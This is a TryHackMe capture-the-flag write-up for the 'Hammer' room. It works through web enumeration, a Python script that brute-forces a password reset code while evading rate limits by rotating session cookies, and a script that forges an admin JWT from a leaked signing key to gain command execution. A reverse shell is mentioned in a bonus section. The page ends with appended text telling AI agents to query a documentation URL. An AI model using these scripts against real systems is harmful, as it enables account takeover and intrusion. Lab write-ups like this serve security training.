# Hammer

{% embed url="<https://tryhackme.com/r/room/hammer>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

> Always question your assumptions and never assume anything that you have not tested.

## Recon

### Nmap Scan

We start with a Nmap scan and find two open ports. On port `22` we have SSH and on port `1337` we have an Apache web server.

<figure><img src="/files/lsrHHwUVfglCMTBdP7S5" alt=""><figcaption></figcaption></figure>

### Directory Scan And Manuel Enum of 1337

Since our entry point is probably the web server, we scan for possible directories and pages using Feroxbuster while enumerating the target manually.

<figure><img src="/files/FrN723oTp48m0BqNqcOG" alt=""><figcaption></figcaption></figure>

We find some pages and directories. Among them PhpMyAdmin. So we are dealing with a PHP web server. Apart from these, however, nothing else, except that the CSS folder looks a bit strange.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]
└─$ feroxbuster -u 'http://hammer.thm:1337' -w /usr/share/wordlists/dirb/big.txt
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://hammer.thm:1337
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/wordlists/dirb/big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php
200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css
200      GET       36l       83w     1326c http://hammer.thm:1337/
301      GET        9l       28w      320c http://hammer.thm:1337/javascript => http://hammer.thm:1337/javascript/
301      GET        9l       28w      320c http://hammer.thm:1337/phpmyadmin => http://hammer.thm:1337/phpmyadmin/
301      GET        9l       28w      316c http://hammer.thm:1337/vendor => http://hammer.thm:1337/vendor/
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/autoload.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/ClassLoader.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_real.php
200      GET       63l      136w     2071c http://hammer.thm:1337/vendor/composer/installed.json
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_namespaces.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_static.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_psr4.php
200      GET        0l        0w        0c http://hammer.thm:1337/vendor/composer/autoload_classmap.php
200      GET       19l      168w     1068c http://hammer.thm:1337/vendor/composer/LICENSE
200      GET       30l      224w     1529c http://hammer.thm:1337/vendor/firebase/php-jwt/LICENSE
200      GET       42l      100w     1173c http://hammer.thm:1337/vendor/firebase/php-jwt/composer.json
200      GET      170l      650w     8697c http://hammer.thm:1337/vendor/firebase/php-jwt/CHANGELOG.md
200      GET      424l     1529w    13516c http://hammer.thm:1337/vendor/firebase/php-jwt/README.md
301      GET        9l       28w      327c http://hammer.thm:1337/javascript/jquery => http://hammer.thm:1337/javascript/jquery/
301      GET        9l       28w      324c http://hammer.thm:1337/phpmyadmin/doc => http://hammer.thm:1337/phpmyadmin/doc/
200      GET       98l      278w    35231c http://hammer.thm:1337/phpmyadmin/favicon.ico

```

Visiting the index page by manual enumeration takes us directly to a login page.&#x20;

<figure><img src="/files/xoBAMakncLQeMj1McSI3" alt=""><figcaption></figcaption></figure>

In the source, we find the named convention of the directories. These start with `hmr_`.

<figure><img src="/files/jrl3xYxynTHunIaWUBW0" alt=""><figcaption></figcaption></figure>

So we edit the used wordlist by prepending `hmr_` and scan again.

```bash
cp /usr/share/wordlists/dirb/big.txt .
sed 's/^/hmr_/' big.txt > hmr_big.txt
```

<figure><img src="/files/h3ONQ0B9jdMZnueaSzT4" alt=""><figcaption></figcaption></figure>

We now find a directory `hmr_logs`, which has directory listing activated. This directory contains an `error.logs` file.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/hammer]
└─$ feroxbuster -u 'http://hammer.thm:1337' -w hmr_big.txt
                                                                                                                      
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.10.2
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://hammer.thm:1337
 🚀  Threads               │ 50
 📖  Wordlist              │ hmr_big.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.10.2
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403      GET        9l       28w      277c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404      GET        9l       31w      274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       47l      111w     1664c http://hammer.thm:1337/reset_password.php
200      GET        6l     2304w   232914c http://hammer.thm:1337/hmr_css/bootstrap.min.css
200      GET       36l       83w     1326c http://hammer.thm:1337/
301      GET        9l       28w      317c http://hammer.thm:1337/hmr_css => http://hammer.thm:1337/hmr_css/
301      GET        9l       28w      320c http://hammer.thm:1337/hmr_images => http://hammer.thm:1337/hmr_images/
200      GET     1676l     9897w   792599c http://hammer.thm:1337/hmr_images/hammer.webp
301      GET        9l       28w      316c http://hammer.thm:1337/hmr_js => http://hammer.thm:1337/hmr_js/
200      GET        2l     1294w    89501c http://hammer.thm:1337/hmr_js/jquery-3.6.0.min.js
301      GET        9l       28w      318c http://hammer.thm:1337/hmr_logs => http://hammer.thm:1337/hmr_logs/
200      GET        9l      219w     1984c http://hammer.thm:1337/hmr_logs/error.logs
[####################] - 25s    20480/20480   0s      found:10      errors:0      
[####################] - 24s    20469/20469   844/s   http://hammer.thm:1337/ 
[####################] - 0s     20469/20469   193104/s http://hammer.thm:1337/hmr_css/ => Directory listing
[####################] - 1s     20469/20469   34172/s http://hammer.thm:1337/hmr_images/ => Directory listing
[####################] - 0s     20469/20469   84583/s http://hammer.thm:1337/hmr_js/ => Directory listing
[####################] - 0s     20469/20469   208867/s http://hammer.thm:1337/hmr_logs/ => Directory listing
```

## Bypass The Login

With the information we have gathered so far, we should now concentrate on the login.

<figure><img src="/files/2I2RHuVfYkEfwiP82bUS" alt=""><figcaption></figcaption></figure>

### Login Page Analysis

This only displays a generic message for the email and password entered, from which we cannot conclude that an incorrect email or password has been entered. A pure brute force to enumerate the email is therefore not possible here.

<figure><img src="/files/r1xvMKAJWUUa9iuz1KQs" alt=""><figcaption></figcaption></figure>

But the login page has a link to a forgot password feature `/reset_password.php`. This gives an error message if the chosen mail is wrong, theoretically a valid mail could be enumerated in this way.

<figure><img src="/files/xpVuSlbReQ7hggUAZmVN" alt=""><figcaption></figcaption></figure>

### Getting A  Valid E-Mail Address

Recalling the enumeration using the cusomized wordlist we are able to spot an email in the  `error.logs.` There is an authentication failure for the user `tester@hammer.thm`.

<figure><img src="/files/b67gbHMT1DbOJAi5hq20" alt=""><figcaption></figcaption></figure>

### Exploitation Of The Password Reset Feature

When trying to reset the password for this user, ...

<figure><img src="/files/0U5WkEjqx7zdT9CqnC8N" alt=""><figcaption></figcaption></figure>

... the paged refreshes and we have to enter a 4-digit code to change the password. Furthermore, there is a time limit of `180` seconds to enter this code.

<figure><img src="/files/x8bNtjfgm6m1Tkgf7XiE" alt=""><figcaption></figcaption></figure>

For the further procedure and analyzing, we intercept the submitting of the 4-digit code using burp suite.

<figure><img src="/files/QoQrC7kevkLnpq2RYYZ6" alt=""><figcaption></figcaption></figure>

With every request that is now made, the Rate-Limit-Pending value in the response header is reduced. Initially this starts at `8`.

<figure><img src="/files/mZkBMRQDmnP6UzoUhpYj" alt=""><figcaption></figcaption></figure>

After the value drops to `0`, the rate limit is reached and the token cannot be reset. At this point I lost a lot of time because I thought that with every reset the token would also be reset. Under this assumption, I thought I could only get a token with a bit of luck and chance.&#x20;

Therefore, I wrote a script that makes `100` requests at the same time with different `PHPSESSID`s in the hope of getting a valid reset with a fixed reset token. In fact, after several attempts I had a valid request token, but `100` identical response, for each session the fixed token was valid.&#x20;

Only then did I realize that the token endures in that time frame over every session created, and does not reset itself with a new session. The assumption could be made by seeing that a token endures `180` seconds.

<figure><img src="/files/lR5zLNVoVhwpdIcgAoJN" alt=""><figcaption></figcaption></figure>

To verify that the reset token endures, we request a new reset without a cookie to get a new session.

<figure><img src="/files/kbnLAmTfZK8LzM8BvbqI" alt=""><figcaption></figcaption></figure>

Then we put the `PHPSESSID` from the response into our request, and see that we have 8 attempts again, until the `180` seconds have passed.

<figure><img src="/files/YWGNr8BTTXt02JOHtA4T" alt=""><figcaption></figcaption></figure>

With the information we have, we are able to automates the process of brute-forcing a password recovery. It first requests a password reset and retrieves the `PHPSESSID` cookie, then iteratively submits recovery codes in a brute-force manner, periodically refreshing the `PHPSESSID` every seventh request. The script detects a successful code submission by checking for a change in the response text's word count.

{% code title="brute.py" overflow="wrap" lineNumbers="true" %}

```python
import subprocess

def get_phpsessid():
    # Request Password Reset and retrieve the PHPSESSID cookie
    reset_command = [
        "curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
        "-d", "email=tester%40hammer.thm",
        "-H", "Content-Type: application/x-www-form-urlencoded",
        "-v"
    ]

    # Execute the curl command and capture the output
    response = subprocess.run(reset_command, capture_output=True, text=True)

    # Extract PHPSESSID from the response
    phpsessid = None
    for line in response.stderr.splitlines():
        if "Set-Cookie: PHPSESSID=" in line:
            phpsessid = line.split("PHPSESSID=")[1].split(";")[0]
            break

    return phpsessid

def submit_recovery_code(phpsessid, recovery_code):
    # Submit Recovery Code using the retrieved PHPSESSID
    recovery_command = [
        "curl", "-X", "POST", "http://hammer.thm:1337/reset_password.php",
        "-d", f"recovery_code={recovery_code}&s=180",
        "-H", "Content-Type: application/x-www-form-urlencoded",
        "-H", f"Cookie: PHPSESSID={phpsessid}",
        "--silent"
    ]

    # Execute the curl command for recovery code submission
    response_recovery = subprocess.run(recovery_command, capture_output=True, text=True)
    return response_recovery.stdout

def main():
    phpsessid = get_phpsessid()
    if not phpsessid:
        print("Failed to retrieve initial PHPSESSID. Exiting...")
        return
    
    for i in range(10000):
        recovery_code = f"{i:04d}"  # Format the recovery code as a 4-digit string

        if i % 7 == 0:  # Every 7th request, get a new PHPSESSID
            phpsessid = get_phpsessid()
            if not phpsessid:
                print(f"Failed to retrieve PHPSESSID at attempt {i}. Retrying...")
                continue
        
        response_text = submit_recovery_code(phpsessid, recovery_code)
        word_count = len(response_text.split())

        if word_count != 148:
            print(f"Success! Recovery Code: {recovery_code}")
            print(f"PHPSESSID: {phpsessid}")
            print(f"Response Text: {response_text}")
            break

if __name__ == "__main__":
    main()

```

{% endcode %}

After we have run the script, we receive the valid recovery code, the `PHPSESSID` and the response body.

<figure><img src="/files/eaq7t9TDrgBC8g1CvaL8" alt=""><figcaption></figcaption></figure>

### Reset The Password

All we have to do now is set the PHPSESSID in the browser and reload the page.

<figure><img src="/files/NTdGO1xJ47zdfSy5EPGV" alt=""><figcaption></figcaption></figure>

After we have reloaded the page, we can reset the password for the user `tester@hammer.thm`.

<figure><img src="/files/QBEKm7wYxQaePIUumQae" alt=""><figcaption></figcaption></figure>

We choose a new password.

<figure><img src="/files/9w7bAlRxcjKCofycdGMi" alt=""><figcaption></figcaption></figure>

We then log in with the new credentials ...

<figure><img src="/files/WnSWpz7YeKvQzMrXEtMc" alt=""><figcaption></figcaption></figure>

... and are forwarded to the dashboard. We see that we have the role `user`, can enter commands and are greeted with the first flag. After a short time, we are logged out.

<figure><img src="/files/I7uh0LhIJG6XapXDK36B" alt=""><figcaption></figcaption></figure>

## RCE

First we look at what lets us log out, in the source we see a script that checks the cookies after an interval and if the condition is not met, we are logged out. If `persistentSession` is not set to True, we will be logged out. Using the OWASP ZAP tool, we can set this value permanently, but we can also continue our investigation using Burp Suite without being logged out.

<figure><img src="/files/sB3j8ERjq7sxtUJg8Ld0" alt=""><figcaption></figcaption></figure>

Furthermore, there is a script that  listens for a click event on the `#submitCommand` button and retrieves a command input by the user. It then sends an AJAX POST request to `execute_command.php`, including the command and a JWT token in the request headers for authorization. Upon receiving a response, it displays the result or an error message in the `#commandOutput` element. This script is responsible for the command transmission.

<figure><img src="/files/DU9g2GcvSFPZIPrIQtzm" alt=""><figcaption></figcaption></figure>

### Analysis Command Execution

We intercept the request to transfer the command using Burp Suite. We see the token in the header and in the cookie. Furthermore, we are not allowed to execute the ID command. We use FFuF with a word list to check which commands can be used.

<figure><img src="/files/qSTassMYNavqnfaetBhJ" alt=""><figcaption></figcaption></figure>

### Key File

It seems that we can only execute the ls command. Besides the pages and directories we already know there is a `.key` file present. We remember that our user role was displayed in the dashboard. It is possible that other roles can execute more.

<figure><img src="/files/3hSGzbwKFX9gLhMPSFqN" alt=""><figcaption></figcaption></figure>

### JWT Token Creation

We analyze the JWT token using `jwt.io` and can make out the structure, in the header a `kid` is set, that points to a key file located at  `/var/www/mykey.key`. Furthermore the token contains the role user. Maybe with another role like admin we would be able to execute arbitrary commands.

<figure><img src="/files/XpnixTQUDwbuQiMFOR7V" alt=""><figcaption></figcaption></figure>

We recall the listing of our `ls` command, here we had a key file. The key file contains a hash value. Possibly the secret for signing a JWT token. So we can probably craft our own token, since we have access to the secret and can guess the location of the token for the kid.

<figure><img src="/files/xsBBeCTgivnyCnzaf3fv" alt=""><figcaption></figcaption></figure>

Let's create an admin token with a structure like this:

{% hint style="info" %}
The first token we create is for the role user we already know, to confirm that our self-created token works. However, this is not shown below.
{% endhint %}

```
{
  "alg": "HS256",
  "kid": "/var/www/html/188ade1.key",
  "typ": "JWT"
}
{
  "iss": "http://hammer.thm",
  "aud": "http://hammer.thm",
  "iat": 1725193591,
  "exp": 1725199591,
  "data": {
    "user_id": 1,
    "email": "tester@hammer.thm",
    "role": "admin"
  }
}
HMACSHA256(
  base64UrlEncode(header) + "." +
  base64UrlEncode(payload),
  
)
```

We use a python script to create a token with admin role, we enter content line `4` and path of the secret line `10`. We also set the expiry date a little higher for us.

{% code title="craft\_token.py" overflow="wrap" lineNumbers="true" %}

```python
import jwt

# The secret key from /var/www/mykey.key
secret_key = "REDACTED"

# JWT header including 'kid'
header = {
    "typ": "JWT",
    "alg": "HS256",
    "kid": "/var/www/html/REDACTED.key"
}

# Payload with the 'admin' role
payload = {
    "iss": "http://hammer.thm",
    "aud": "http://hammer.thm",
    "iat": 1725193591,
    "exp": 1725199591,
    "data": {
        "user_id": 1,
        "email": "tester@hammer.thm",
        "role": "admin"
    }
}

# Encode the JWT with the specific header
token = jwt.encode(payload, secret_key, algorithm="HS256", headers=header)

# Print the generated token
print(token)
```

{% endcode %}

Running the script, we get a token, signed with the secret, located in the web root folder.

{% hint style="info" %}
It is possible that the brute force takes longer than the 180 seconds that the token lasts. Therefore, the script may not necessarily find the valid token during its execution. Another attempt must then be made.
{% endhint %}

<figure><img src="/files/ICzifQVLvL9O8zPMm7QH" alt=""><figcaption></figcaption></figure>

Using `jwt.io`, we are able to confirm its new content.

<figure><img src="/files/YXz9hsAN5QQvfK8qzVmi" alt=""><figcaption></figcaption></figure>

### Arbitrary Remote Code Execution

Next, we replace the token value in the Authorization header and token cookie value. After that, we are able to execute arbitrary commands as admin. Using ID we see, we are `www-data`.<br>

<figure><img src="/files/MqJbf5JA4EeQmbmGlRmc" alt=""><figcaption></figcaption></figure>

As `www-data` we are able to retrieve the second flag at `/home/ubuntu.flag.txt`.

<figure><img src="/files/H28vwKONzZlEyFMYHNV8" alt=""><figcaption></figcaption></figure>

## Summary

In this challenge we faced a vulnerable web application on an Apache server. An Nmap scan identified SSH on port `22` and a web server on port `1337`. After directory scanning and manual enumeration, we discovered a PhpMyAdmin page and a `hmr_logs` directory containing an `error.logs` file. The logs revealed a valid email (`tester@hammer.thm`), which we used to exploit the password reset feature.

The password reset mechanism was vulnerable to brute-force attacks, as it allowed multiple attempts to guess the 4-digit reset code within a time limit, bypassing its rate limit by retrieving a new session every 7ths request. By automating the brute-force process and circumventing rate limits, we successfully reset the user's password. After logging in, we got the first flag and analyzed and manipulated the JWT token to escalate our privileges to `admin`, enabling arbitrary command execution as `www-data` and retrieving the second flag at `/home/ubuntu.flag.txt`.

## Bonus

As a little bonus, we take a look around on the system after receiving the RCE. We set up a listener and get a reverse shell using busybox.

<figure><img src="/files/8FizTMdzcsjXOOVK7NV9" alt=""><figcaption></figcaption></figure>

Next, we upgrade our shell and run `linpeas.sh`.

<figure><img src="/files/hQOKkxtRu5lajpuK0J6A" alt=""><figcaption></figcaption></figure>

We are able to find some database credentials ...

<figure><img src="/files/zLem6HRxgU9h3LdfdSLC" alt=""><figcaption></figcaption></figure>

... and take a small peek.

<figure><img src="/files/vLpNTgKXDiX4pRn2DLFn" alt=""><figcaption></figcaption></figure>

Furthermore, we are able to retrieve the secret used by the application to sign the JWT token.

<figure><img src="/files/Y9I7oJPhOu7XE0F9Ceb3" alt=""><figcaption></figcaption></figure>

Unfortunately, a successful execution of the following exploit did not work.

{% embed url="<https://github.com/Notselwyn/CVE-2024-1086>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xb0b.gitbook.io/writeups/tryhackme/2024/hammer.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
